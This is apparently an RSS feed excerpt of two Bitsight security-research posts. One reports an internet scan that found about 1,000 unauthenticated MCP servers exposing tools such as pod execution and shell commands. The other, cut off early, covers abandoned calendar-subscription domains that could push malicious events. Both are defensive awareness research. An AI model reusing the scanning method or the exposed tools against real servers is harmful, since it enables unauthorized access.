       "listChanged"&lt;span style="color: white;"&gt;:&lt;/span&gt; &lt;span style="color: cornflowerblue;"&gt;True&lt;/span&gt;
&lt;span style="color: white;"&gt;     }
   },&lt;/span&gt;
   "serverInfo"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
     "name"&lt;span style="color: white;"&gt;:&lt;/span&gt; "ExampleServer"&lt;span style="color: white;"&gt;,&lt;/span&gt;
     "title"&lt;span style="color: white;"&gt;:&lt;/span&gt; "Example Server Display Name"&lt;span style="color: white;"&gt;,&lt;/span&gt;
     "version"&lt;span style="color: white;"&gt;:&lt;/span&gt; "1.0.0"
&lt;span style="color: white;"&gt;   },&lt;/span&gt;
   "instructions"&lt;span style="color: white;"&gt;:&lt;/span&gt; "Optional instructions for the client"
&lt;span style="color: white;"&gt; }
} &lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

			&lt;p style="vertical-align: bottom;font-size: 16px !important;
    font-weight: 400;
    letter-spacing: 0.02em;"&gt;The expected response is structured similarly to this&lt;/p&gt;
			&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3&gt;Where should we look for exposed MCP servers?&lt;/h3&gt;

&lt;p&gt;Now it’s time to define our target scope. Here’s what we know, which will help narrow down our scan:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;We cannot detect MCP servers that use the Stdio transport type, since they are not remotely accessible&lt;/li&gt;
	&lt;li&gt;MCP servers accessible via Streamable HTTP or HTTP with SSE are inherently HTTP endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So far, so good. We’ve already outlined the data we need to send as our detection payload, and we know it must be sent to HTTP-based endpoints. However, in practice, there are a few challenges to consider when aiming for scalable detection.&lt;/p&gt;

&lt;h3&gt;Testing all HTTP-based endpoints isn’t practical&lt;/h3&gt;

&lt;p&gt;Bitsight &lt;a href="https://www.bitsight.com/blog/bitsight-groma-next-generation-internet-scanning"&gt;Groma&lt;/a&gt;, our internet scanning engine, identifies millions of unique HTTP-based endpoints across the internet. The current total is on the order of hundreds of millions, so while we could test them all, it would take a considerable amount of time.&lt;/p&gt;

&lt;p&gt;To make this search efficient, we need to build a focused list of endpoint candidates that are more likely to host an MCP server. This way, we only test a small fraction of all HTTP-based endpoints, turning it into a much more targeted scan.&lt;/p&gt;

&lt;p&gt;We spent a good amount of time investigating the most common characteristics of MCP servers, both with and without authorization mechanisms in place. At a high level, these are some of the most promising signals that can guide us to focus on certain HTTP-based endpoints when looking for exposed MCP servers while safely ignoring others:&lt;/p&gt;

&lt;h4&gt;“MCP-like” hostnames&lt;/h4&gt;

&lt;p&gt;This one is pretty obvious. If you look at the current landscape, you’ll notice that many companies are offering remotely accessible MCP servers to their customers, so they don’t have to maintain them on the client side. Here are a few random examples:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;“&lt;em&gt;&lt;a href="https://stripe.com/"&gt;Stripe&lt;/a&gt; hosts a Streamable HTTP MCP server that’s available at &lt;a href="https://mcp.stripe.com"&gt;https://&lt;span style="background-color:salmon;"&gt;mcp&lt;/span&gt;.stripe.com&lt;/a&gt;&lt;/em&gt;“ (&lt;a href="https://docs.stripe.com/mcp"&gt;source&lt;/a&gt;)&lt;br&gt;
	&amp;nbsp;&lt;/li&gt;
	&lt;li&gt;“&lt;em&gt;Other programs (...) can connect manually using &lt;a href="https://www.notion.com/"&gt;Notion&lt;/a&gt; MCP's public URL (&lt;a href="https://mcp.notion.com/mcp"&gt;https://&lt;span style="background-color:salmon;"&gt;mcp&lt;/span&gt;.notion.com/mcp&lt;/a&gt;) as a custom connection&lt;/em&gt;” (&lt;a href="https://developers.notion.com/docs/get-started-with-mcp"&gt;source&lt;/a&gt;)&lt;br&gt;
	&amp;nbsp;&lt;/li&gt;
	&lt;li&gt;“&lt;em&gt;Connects directly to &lt;a href="https://www.figma.com/"&gt;Figma’s&lt;/a&gt; hosted endpoint at &lt;a href="https://mcp.figma.com/mcp"&gt;https://&lt;span style="background-color:salmon;"&gt;mcp&lt;/span&gt;.figma.com/mcp&lt;/a&gt;&lt;/em&gt;” (&lt;a href="https://help.figma.com/hc/en-us/articles/32132100833559-Guide-to-the-Figma-MCP-server"&gt;source&lt;/a&gt;)&lt;br&gt;
	&amp;nbsp;&lt;/li&gt;
	&lt;li&gt;“&lt;a href="https://www.paypal.com/"&gt;PayPal&lt;/a&gt; built an MCP server that lets merchants use natural language with their favorite MCP clients (...) In a production environment for a live site, replace the sandbox URL with this URL: &lt;a href="https://mcp.paypal.com/sse"&gt;https://&lt;span style="background-color:salmon;"&gt;mcp&lt;/span&gt;.paypal.com/sse&lt;/a&gt;” (&lt;a href="https://docs.paypal.ai/developer/tools/ai/mcp-quickstart"&gt;source&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s a pattern, isn’t there? It seems that the &lt;em&gt;mcp&lt;/em&gt; subdomain within a Fully Qualified Domain Name (FQDN) is a strong indicator that it’s probably hosting an MCP server. Fortunately for us at Bitsight, it’s fairly easy to gather a large number of hostnames with &lt;em&gt;mcp&lt;/em&gt; as a subdomain, since we actively collect millions of publicly resolvable domains for various purposes, with large-scale hostname-based scanning being one of them.&lt;/p&gt;

&lt;h4&gt;Clues in HTTP headers&lt;/h4&gt;

&lt;p&gt;Those that live in the shadows and are rarely seen by end users, the HTTP headers sometimes leak important bits of information. In this case, we can take a look at a few of them, including (but not limited to):&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;&lt;code&gt;Content-Type&lt;/code&gt; header: A pretty obvious place to look. As we’ve learned, MCP works either with raw JSON or embedded in an HTTP stream, so &lt;code&gt;application/json&lt;/code&gt; and &lt;code&gt;text/event-stream&lt;/code&gt; are good hints to look for in this header&lt;/li&gt;
	&lt;li&gt;&lt;code&gt;Server header&lt;/code&gt;: Although it can be easily redacted or modified, this header is still a useful place to look for hints when the original value is exposed. Assuming (and we think it’s a safe assumption) that most MCP servers rely on Anthropic’s official SDKs and implementation guidelines, we can start inferring which web servers are most likely in use when someone builds an MCP server with the Python, TypeScript, Go, or any other existing SDK&lt;/li&gt;
	&lt;li&gt;Cross-Origin Resource Sharing (CORS) headers: We’ve also noticed that some &lt;code&gt;Access-Control-*&lt;/code&gt; headers can sometimes expose information commonly associated with MCP servers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Low-hanging fruits in MCP endpoint discovery&lt;/h3&gt;

&lt;p&gt;As we’ve already seen, MCP endpoints are typically found at &lt;code&gt;/mcp&lt;/code&gt; or &lt;code&gt;/sse&lt;/code&gt;, following the conventions defined in the specification. However, as with any other convention, nothing prevents someone from hosting their MCP server &lt;code&gt;/in/a/deeply/nested/URL/path:&lt;/code&gt; the classic “security through obscurity” move. So we also need to narrow down the URLs to be tested.&lt;/p&gt;

&lt;p&gt;For this research, we limited ourselves to the standard ones (/mcp and /sse) and also tested the root (/), since there’s a good chance those would be the juiciest and yield the most results.&lt;/p&gt;

&lt;h2&gt;Fast-forward to the scan results&lt;/h2&gt;

&lt;p&gt;Ok, so we built our list of potential candidate URLs that might be exposing an MCP server. We ended up with a set of targets showing one or more of the signals we defined as indicators of an MCP server, and we tested all of them across the three standard paths: &lt;code&gt;/mcp&lt;/code&gt;, &lt;code&gt;/sse&lt;/code&gt;, and /.&lt;/p&gt;

&lt;p&gt;Sure, we hit a few false positives along the way, but we eventually filtered those out. For the remaining targets, we built a quick-and-dirty tool to perform the full MCP handshake and collect all the data we wanted from each exposed MCP server: most importantly, the list of tools, but we also gathered the list of resources, prompts, and some extra metadata from the &lt;code&gt;initialize&lt;/code&gt; response.&lt;/p&gt;

&lt;p&gt;On a personal note, it was a fun ride, but we’ll spare you the boring details and get you straight to the results.&lt;/p&gt;

&lt;h3&gt;And the number of exposed MCP servers we found is…&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Roughly 1,000 exposed MCP servers with no authorization in place, from which we were able to retrieve all their available tools.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;At first glance, it might not seem like an impressive number, right? But think about it: we’re talking about a technology that was announced to the public barely a year ago, and we’re already seeing hundreds of instances missing any form of authorization. That suggests things could get worse over time, which is why we hope this blogpost helps raise awareness before it does.&lt;/p&gt;

&lt;p&gt;It’s also important to consider another angle. The MCP servers we found are the ones exposed on the public internet, but there could be many more running inside internal networks or application backends under the same conditions, and their owners might not even realize it. Just because they’re only accessible internally doesn’t mean they’re harmless. An exposed MCP server within a corporate environment could still be exploited by a malicious insider or through lateral movement during a breach.&lt;/p&gt;

&lt;h3&gt;Some alarming examples showing why this is really bad&lt;/h3&gt;

&lt;p&gt;Surely you’re curious about what kinds of exposed MCP servers we found out there and what they could let a malicious actor do. So were we. That’s why we analyzed many of them, reviewing the tools we were allowed to list and inferring what could be done if we were actually malicious adversaries.&lt;/p&gt;

&lt;p&gt;While it’s true that some MCP servers are open and free to use for legitimate reasons (for example, we found a few that simply let AI applications access public documentation for a given service or product), many others were far more concerning. Here are just a few examples of the tools implemented by those exposed MCP servers (really, just a few; we found way too many!):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;An exposed MCP server that would allow management of a Kubernetes cluster and its pods: &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;

&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_delete"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Delete a Kubernetes Pod in the current or provided namespace with the provided name"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_exec"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Execute a command in a Kubernetes Pod in the current or provided namespace with the provided name and command"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_get"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Get a Kubernetes Pod in the current or provided namespace with the provided name"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_list"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"List all the Kubernetes pods in the current cluster from all namespaces"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_list_in_namespace"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"List all the Kubernetes pods in the specified namespace in the current cluster"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_log"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Get the logs of a Kubernetes Pod in the current or provided namespace with the provided name"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"pods_run"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Run a Kubernetes Pod in the current or provided namespace with the provided container image and optional name"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Another one would allow access to a Customer Relationship Management (CRM) tool:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;

&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"list_accounts"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Retrieve all available accounts from EspoCRM"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"list_users"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Retrieve all available users from EspoCRM"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"list_teams"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Retrieve all available teams from EspoCRM"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Another one that could be used to send WhatsApp messages, perfect for spam!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;

&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"send_whatsapp"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Send a WhatsApp message to a single number"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"bulk_send_whatsapp"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Send WhatsApp messages to multiple numbers"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"get_session_status"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Check the status of a WhatsApp session"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;, {&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"validate_number"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Check if a number is valid on WhatsApp"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;

 &lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;The holy grail: Remote Code Execution as an available tool through an MCP server! &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;
&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"execute_shell_command"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Execute shell commands through the proxy server"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"broadcast_websocket"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Broadcast message to all WebSocket clients"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
&lt;span class="punct"&gt;{&lt;/span&gt;
   &lt;span class="text"&gt;"name"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"get_server_status"&lt;/span&gt;&lt;span class="punct"&gt;,&lt;/span&gt;
   &lt;span class="text"&gt;"description"&lt;/span&gt;&lt;span class="punct"&gt;:&lt;/span&gt; &lt;span class="text"&gt;"Get current server status and statistics"&lt;/span&gt;
&lt;span class="punct"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;(Bonus) MCP honeypots?&lt;/h3&gt;

&lt;p&gt;Just FYI, this was something we found rather curious. Although we didn’t dig too deeply into it, our scan uncovered what appear to be hundreds of honeypots mimicking MCP servers that use HTTP with SSE as their transport type. We found more than 1,100 cases where a &lt;code&gt;GET /sse&lt;/code&gt; request returned the following:&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/MCP%20honeypots.png" width="850" height="718" alt="MCP honeypots" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;p&gt;We sampled a few of them and confirmed the following:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;The &lt;code&gt;session_id&lt;/code&gt; parameter was exactly the same across all of them&lt;/li&gt;
	&lt;li&gt;When we tried to access the endpoint URL to initialize the MCP connection, no valid data was returned&lt;/li&gt;
	&lt;li&gt;All of them had hundreds of open ports, likely to mimic different network protocols&lt;/li&gt;
	&lt;li&gt;They occasionally returned random HTML pages when accessing &lt;code&gt;/sse&lt;/code&gt; or other paths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, there’s little doubt they’re honeypots ready to catch someone (like us) scanning for MCP servers on the internet.&lt;/p&gt;

&lt;h2&gt;We just want to raise awareness (our call to action)&lt;/h2&gt;

&lt;p&gt;We can’t stress this enough: see this blog post as a call to action to raise awareness about an emerging problem. MCP was announced roughly a year ago, and we’re already seeing a surprising number of MCP servers in the wild with no authorization mechanisms in place, effectively inviting any malicious actor to use them however they want. This could be the first symptom of something much more widespread in the near future. As adoption grows, we can expect to see even more exposed MCP servers appear online.&lt;/p&gt;

&lt;p&gt;If you plan to leverage MCP in your organization, that’s great! MCP is here to stay and as we’ve seen, it’s an excellent way to connect AI applications to external tools and datasets. But please, do it securely:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Don’t expose your MCP servers to the internet unless you absolutely need to. For instance, if you’re using them to power internal AI applications, keep your MCP servers restricted to internal networks. Even better, consider using the Stdio transport type: running locally means one less remote attack vector&lt;/li&gt;
	&lt;li&gt;Even if you use remote transport types like Streamable HTTP for your internal MCP servers, and especially if you need to make them publicly accessible so your customers can use them in their applications and services, follow the specification’s best practices. &lt;strong&gt;The official recommendation is to use OAuth 2.1, though other secure alternatives may fit your use case&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p style="font-size:11px;"&gt;&lt;sup&gt;1&lt;/sup&gt; “This MCP server attempts to exercise all the features of the MCP protocol. It is not intended to be a useful server, but rather a test server for builders of MCP clients. It implements prompts, tools, resources, sampling, and more to showcase MCP capabilities.”&lt;/p&gt;
&lt;style type="text/css"&gt;figcaption {padding-top: 5px;}


td {background-color:#fff;}
.text-wysiwyg__body table tr td:first-child
{font-weight: inherit; 
 }


.text-wysiwyg__body table tr td:not(:first-child) {text-align:left;}

.punct { color: #ffffff; }
    .text  { color: coral; }
&lt;/style&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 11 Dec 2025 13:01:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18296 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>The Hidden Dangers of Calendar Subscriptions:  4 Million Devices at Risk</title>
  <link>https://www.bitsight.com/blog/hidden-dangers-calendar-subscriptions-4-million-devices-risk</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;The Hidden Dangers of Calendar Subscriptions:  4 Million Devices at Risk&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-11-25T07:36:05+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-11-25T02:36:05-05:00" title="Tuesday, November 25, 2025 - 02:36" class="datetime"&gt;Tue, 11/25/2025 - 02:36&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--39166 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Day-to-day workload can become overwhelming as time passes alongside the growing tasks and responsibilities of both personal and professional lives. Therefore, a well-structured digital calendar may be an essential organizational tool to navigate through the day, helping with the support we need to manage our time and ongoing commitments.&lt;/p&gt;

&lt;p&gt;However, the convenience of digital calendars comes with a lesser-known risk, especially when subscribing to external ones. Each new subscription may allow a third-party server to add events directly to your schedule. While this brings the ease of keeping track of offers, holidays, team activities, or public events, it also opens the door to potential security risks. Malicious actors could exploit this further by setting up dedicated infrastructure that deceives the user into subscribing to their notifications. Once a subscription is established, they can deliver calendar files that may contain harmful content, such as URLs or attachments, turning a helpful tool into an unexpected &lt;a href="https://www.bitsight.com/blog/top-7-ransomware-attack-vectors-and-how-avoid-becoming-victim"&gt;attack vector&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Staying aware of these risks is essential. As we embrace tools to help us stay ahead, we must also ensure we’re not unknowingly opening the door to threats. &lt;strong&gt;Bitsight TRACE discovered more than 390 abandoned domains related to iCalendar synchronization&lt;/strong&gt; (sync) &lt;strong&gt;requests for subscribed calendars, potentially putting ~4 million devices at risk&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;Key Takeaways&lt;/h2&gt;

&lt;ul&gt;
	&lt;li&gt;Dedicated infrastructure tricks users into subscriptions, pushing malicious events at scale, exploiting, and monetizing millions of devices.&lt;/li&gt;
	&lt;li&gt;Expired domains associated with Calendar subscriptions can also be leveraged to create malicious events inside devices.&lt;/li&gt;
	&lt;li&gt;Bitsight sinkholed 390 calendar domains receiving daily sync requests from 4 million iOS and macOS devices.&lt;/li&gt;
	&lt;li&gt;Unlike &lt;a href="https://www.bitsight.com/blog/guide-to-phishing"&gt;phishing&lt;/a&gt;, users and organizations are generally unaware that calendar events can be exploited, and the misplaced trust, combined with an unexpected attack vector, creates a powerful entry point for attackers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This research does not disclose a vulnerability in Google Calendar or iCalendar. The security risk arises from third-party calendar subscriptions hosted on expired or hijacked domains, which can be exploited for large-scale social engineering. Bitsight did not collect any calendar event content beyond the client’s request headers and did not inject or push events to user devices during this research. All observations were derived from sinkholed telemetry and publicly observable network behavior.&lt;/p&gt;

&lt;h2&gt;Telemetry on calendar subscriptions&lt;/h2&gt;

&lt;p&gt;Our research began with a single domain that we sinkholed, recording &lt;strong&gt;11,000 unique IP addresses per day&lt;/strong&gt;. This domain functioned as a server for a subscribed calendar that distributed German public and school holiday events, and that got our attention. Why would a domain for German holidays, with &lt;code&gt;.ics&lt;/code&gt; files, be available?&lt;/p&gt;

&lt;p&gt;In the HTTP requests we were seeing, the header ‘&lt;code&gt;Accept: text/calendar&lt;/code&gt;’ indicated that the client was ready to accept an &lt;strong&gt;iCalendar&lt;/strong&gt; file (&lt;code&gt;.ics&lt;/code&gt; file is a file that adds or shares events of the calendar app), used to add events to the calendar. Further, the ‘&lt;code&gt;dataaccessd&lt;/code&gt;’ in the user-agent field confirmed the source of the request, the iOS Calendar subscription daemon.&lt;/p&gt;

&lt;pre style="background:#f2f2f2; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color:green;"&gt;
GET /[URI]
Host: 
Accept-Language: en-US,en;q=0.9
User-Agent: iOS/17.5.1 (21F90) dataaccessd/1.0
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Accept: text/calendar


dst port: 443
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In the scope of this activity, we expanded our search in our research sinkhole to identify other domains exhibiting similar behavior. This investigation uncovered an additional &lt;strong&gt;347 domains&lt;/strong&gt; (&lt;em&gt;FIFA 2018&lt;/em&gt; events, &lt;em&gt;Islamic Hijri&lt;/em&gt; calendar, etc.).&lt;/p&gt;

&lt;p&gt;In total, these 347 domains were contacted by approximately &lt;strong&gt;4 million unique IP addresses per day&lt;/strong&gt;, with the highest geographic concentration in the &lt;strong&gt;United States of America&lt;/strong&gt;.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%201%20-%20World%20Map.png" width="850" height="445" alt="Figure 1 - World Map" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 1 - World Map (Bitsight TRACE)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;We identified &lt;strong&gt;two types&lt;/strong&gt; of sync requests in our sinkhole, strongly suggesting that these are &lt;strong&gt;not new subscriptions&lt;/strong&gt;, but &lt;strong&gt;background sync requests&lt;/strong&gt; from previously &lt;strong&gt;subscribed calendars&lt;/strong&gt;. This means that anyone who took over or registered an expired domain would be able to respond with customized calendar &lt;code&gt;.ics&lt;/code&gt; files and create additional events in these devices:&lt;/p&gt;

&lt;h3&gt;1. Base64-encoded URI&lt;/h3&gt;

&lt;p&gt;Example of URI path:&lt;/p&gt;

